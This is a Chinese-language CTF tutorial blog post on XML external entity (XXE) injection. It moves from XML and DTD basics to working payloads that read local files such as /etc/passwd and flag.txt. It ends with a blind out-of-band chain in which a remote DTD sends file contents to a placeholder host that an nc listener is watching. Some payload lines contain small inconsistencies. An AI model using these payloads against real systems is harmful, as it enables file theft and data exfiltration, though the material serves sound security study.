0%

CTF-XXE注入

XXE注入

1
xml外部实体注入漏洞。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意的外部文件,造成文件读取、命令执行等等。XXE漏洞触发点在可上传xml文件的位置,没有对上传的xml文件过滤,导致上传恶意的xml文件。

XML基础

1
2
XML,用来传输和存储数据。没有预定义标签,用户自定义标签。
HTML较固定。

XML语法规则

https://www.w3school.com.cn/xml/xml_syntax.asp

  • 1、所有XML元素都必须有关闭标签
1
<p>xxxxx</p>
  • 2、XML标签对大小写敏感
1
2
3
<message>hhh</message>正确

<Message>hhh</message>错误
  • 3、XML必须正确地嵌套
1
2
3
4
<b><i>hhh</b></i>错误


<b><i>hhh</i></b>正确
  • 4、XML文档必须有根元素
1
2
3
4
5
<root>
<child>
<subchild>...</subchild>
</child>
</root>
  • 5、XML的属性值必须加引号
1
2
3
4
<note data="05/28/2021">
<from>you</from>
<to>Me</to>
</note>

1、实体引用

由于<可能会被误认为标签符

&lt; < 小于
&gt; > 大于
&amp; & 和号
&apos; 单引号
&quot; 引号

2、XML中的注释

类似HTML

1
<!--this is a comment -->

3、在XML中,空格会被保留

1
HTML会把多个连续的空格字符裁剪(合并)为一个,但是XML不会合并空格。

XML文档组成

XML文档形成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。

DTD文档类型定义

1
DTD是定义XML文档合法构建的模块。既可以在XML文档定义,也可以在外部引用。

内部的文档声明

1
<!DOCTYPE 根元素[元素声明]>

外部的文档声明

假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中

1
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD-实体

1
2
3
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用
实体可在内部或外部进行声明

内部声明

1
<!ENTITY 实体名称 "实体的值">
1
2
<!ENTITY writer "wang">
<!ENTITY book "hhh">
1
<author>&writer;&book;</author>
  • 一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。

外部声明

1
2
<!ENTITY 实体名称 SYSTEM "URI/URL">
需要基于php解析

外部注入

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (message)>
<!ENTITY test SYSTEM "file:///C:/flag.txt">
]>
<note>
<message>&test;</message>
</note>

浏览器中不会解析读取数据,但是可基于php解析。

XML盲注利用姿势

实体参数基础

1
实体参数只能用于DID中,实体参数的声明和引用都是以%开头。

实体参数:相当于实体的引用

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE a[
<!ELEMENT a (b)>
<!ENTITY % c "<!ENTITY d 'abcd'>"> 定义(必须有空格)
%c; 引用(无需空格,需要分号)
]>
<a>
<b>&d;</b>
</a>

最后输出abcd

Blind XXE

盲XXE实验代码:

1
2
3
4
<?php
$data=file_get_contents('php://input');
$xml=@simplexml_load_string($data);
?>

无法回显

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE a[
<!ELEMENT a (b)>
<!ENTITY % c SYSTEM "file:///etc/passwd">
%c;
]>
<a>
<b></b>
</a>

可访问远程地址,在本地读取文件后通过远程访问携带数据。((OOB)out of band)带外

POST请求

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE a[
<!ELEMENT b ANY>
<!ENTITY % dtd SYSTEM "url/payload.did">
%dtd;
]>
<a><b></b></a>

在url使用wireshark抓包:请求payload.did,但是不存在。

方法:构建接受实体参数值的php页面,记录flag值

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE a[
<!ELEMENT b ANY>
<!ENTITY % dtd SYSTEM "file:///C:flag.txt">
<!ENTITY % dtd SYSTEM "http://本地ip/payload.did">
%dtd;
]>
<a><b>&send;</b></a>

返回的内容

payload.dtd

1
2
<!ENTITY % all "<!ENTITY send SYSTEM 'http://本地ip:8888/?abc=%evil;'>">
%all;

nc监听 8888端口,即可得到flag。

如果存在特殊字符的文件报错,使用php输入输出流读取文地文件

1
php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道